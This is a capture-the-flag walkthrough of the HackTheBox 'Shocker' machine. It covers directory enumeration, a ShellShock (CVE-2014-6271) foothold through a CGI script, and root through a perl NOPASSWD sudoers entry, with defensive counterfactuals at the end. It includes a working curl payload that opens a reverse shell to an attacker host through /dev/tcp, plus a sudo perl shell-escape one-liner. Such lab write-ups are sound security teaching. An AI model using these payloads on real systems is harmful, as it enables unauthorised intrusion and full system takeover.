Summary
This writeup is reconstructed from public walkthroughs (see Source attribution below). I have not personally rooted this box.
Shocker is the dedicated ShellShock box on HTB — two steps, no pivots:
CVE-2014-6271 in /cgi-bin/user.sh for the foothold, then a single
sudoers entry (perl NOPASSWD) for root. The box name itself is the
exploit hint. The non-obvious recon detail is that /cgi-bin/ requires a
trailing slash to be enumerated by standard wordlists; tools that don’t
append / to directory candidates miss it entirely and the box appears
empty.
ShellShock exploits a quirk in how bash parses environment variables: bash
allows function definitions to be passed via environment variables, and
versions prior to the patch also execute additional code appended after
the function definition. Any program that takes user input and stores it
in a process environment variable that bash subsequently evaluates is
vulnerable — CGI scripts are the canonical example because Apache stores
HTTP headers (User-Agent, Referer, Cookie, …) as environment
variables before spawning the CGI interpreter.
Source attribution
- 0xdf, “HTB: Shocker” — https://0xdf.gitlab.io/2021/05/25/htb-shocker.html.
Primary source. Covers the trailing-slash feroxbuster gotcha, the
user.shCGI discovery, the full-path ShellShock payload, and theperlsudo escalation. - IppSec, “Shocker” video walkthrough — https://ippsec.rocks/?#Shocker.
- NVD entry for CVE-2014-6271 (ShellShock / Bashdoor).
Recon
nmap -sC -sV -p- --min-rate=2000 -oN nmap/full.txt <TARGET>
80/tcp open http Apache httpd 2.4.18 (Ubuntu)
2222/tcp open ssh OpenSSH 7.2p2
SSH is on 2222, not 22 — a minor operational note but easy to miss when scripting. Apache 2.4.18 on Ubuntu 16.04 LTS; no version-specific RCE applies. The attack lives in the CGI layer, not the web server itself.
Web enumeration — the trailing-slash gotcha
Standard gobuster/feroxbuster default wordlists probe paths without a
trailing slash. Apache returns 404 for /cgi-bin (no trailing slash) but
403 Forbidden for /cgi-bin/ (with slash) — the 403 means the directory
exists but is not listable. Without the -f flag (force trailing slash),
most tools skip it:
# misses /cgi-bin/
gobuster dir -u http://<TARGET>/ -w /usr/share/wordlists/dirb/common.txt
# finds /cgi-bin/ (Status: 403 → directory exists)
gobuster dir -u http://<TARGET>/ -w /usr/share/wordlists/dirb/common.txt -f
Once the /cgi-bin/ directory is confirmed, enumerate its contents:
gobuster dir -u http://<TARGET>/cgi-bin/ \
-w /usr/share/wordlists/dirb/common.txt -x sh,cgi,pl
This returns user.sh (Status: 200). Fetching it:
curl http://<TARGET>/cgi-bin/user.sh
Content-Type: text/plain
Just an uptime test script
22:17:14 up 2:54, 0 users, load average: 0.00, 0.01, 0.00
A bash script running uptime as a CGI — exactly the vulnerable class.
Foothold — CVE-2014-6271 (ShellShock)
Bash parses function definitions from environment variables by looking for
strings of the form name=() { ... }. The vulnerability is that bash
also evaluates any commands that follow the closing brace:
env x='() { :;}; echo vulnerable' bash -c "echo test"
On a vulnerable bash, the echo vulnerable runs. On a patched version,
it doesn’t. Apache CGI scripts are exploitable because Apache stores
incoming HTTP headers as environment variables before executing the bash
CGI. The User-Agent header becomes HTTP_USER_AGENT in the process
environment; if bash evaluates it (because the CGI script uses bash’s
shebang or sources bash), the payload executes.
Two payload notes:
- Full paths required: the ShellShock execution environment has an
empty
$PATH, sobashandncmust be referenced as/bin/bashand/bin/nc. - Leading
echo;: the CGI response must begin with HTTP headers followed by a blank line. Without theecho;, the server can’t form a valid HTTP response and returns 500. Addingecho;outputs a blank line before the reverse-shell payload fires.
# attacker
nc -lvnp 4444
# exploit
curl -H "User-Agent: () { :;}; echo; /bin/bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1" \
http://<TARGET>/cgi-bin/user.sh
The reverse shell arrives:
bash-4.3$ id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),...
user.txt is at /home/shelly/user.txt.
Privilege escalation — perl NOPASSWD sudo
shelly@Shocker:/home/shelly$ sudo -l
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
GTFOBins covers perl as a sudo escalation in one line:
sudo perl -e 'exec "/bin/bash"'
Perl’s exec replaces the current process (which is already running as
root due to sudo) with /bin/bash, inheriting the root context:
root@Shocker:/home/shelly# id
uid=0(root) gid=0(root) groups=0(root)
root@Shocker:/home/shelly# cat /root/root.txt
Why each step worked
- Bash function-definition parsing evaluates trailing code: the
original bash bug was that the parser didn’t stop after the closing
}of a function definition. Patched bash validates that the value after the function definition is empty. The CGI → environment-variable path was the widest attack surface because it required no authentication and was reachable from the internet. - Apache stores HTTP headers as environment variables: RFC 3875 (CGI
spec) defines how web servers must populate the CGI environment.
HTTP_USER_AGENT,HTTP_REFERER,HTTP_COOKIEetc. are all attacker-controlled values that land in the bash process environment before the script runs. perlwithexecspawns a shell with inherited privileges: sudo restricts which binary runs as root, not what that binary does. Perl has a first-classexeccall that replaces the process image with an arbitrary program; since the Perl process is already SUID to root via sudo,exec "/bin/bash"gives root bash. The GTFOBins project documents this for every commonly-misconfigured binary.
Counterfactuals
- Patch bash (the ShellShock fix shipped as
bash-4.3-patch-25and later). The patch adds a check that the function definition value ends cleanly and rejects strings with trailing code. - Disable CGI entirely if the box doesn’t need it. On Ubuntu:
a2dismod cgi. CGI has no business being on a 2026 server. - Restrict the
User-Agentand other HTTP headers at the WAF layer. ShellShock payloads are detectable by pattern (() { :;};) and pre-date any reasonable WAF rule set. - Remove the
perl NOPASSWDsudoers entry. Ifshellygenuinely needs to run a Perl script as root, point the entry at that specific script (sudo /usr/bin/perl /path/to/specific.pl), not the interpreter.
Key Takeaways
- Directory wordlists without trailing slashes silently miss CGI
directories. Add
-fto gobuster, or useferoxbuster --add-slashto catch 403-on-directory responses.cgi-binspecifically should always be on your manual probe list. - ShellShock payloads require
echo;before the command and absolute paths throughout. Both are easy to forget and produce silent failures (500 errors, no shell) rather than obvious error messages. sudo -lremains the first command after foothold. Any sudoers entry pointing at an interpreter (perl,python,ruby,lua,awk,vim,less,man, …) is a one-liner root via GTFOBins. Memorise the GTFOBins pattern for the five most common ones.
References
- 0xdf, “HTB: Shocker” — https://0xdf.gitlab.io/2021/05/25/htb-shocker.html
- IppSec, “Shocker” — https://ippsec.rocks/?#Shocker
- CVE-2014-6271 (ShellShock)
- GTFOBins — https://gtfobins.github.io/gtfobins/perl/#sudo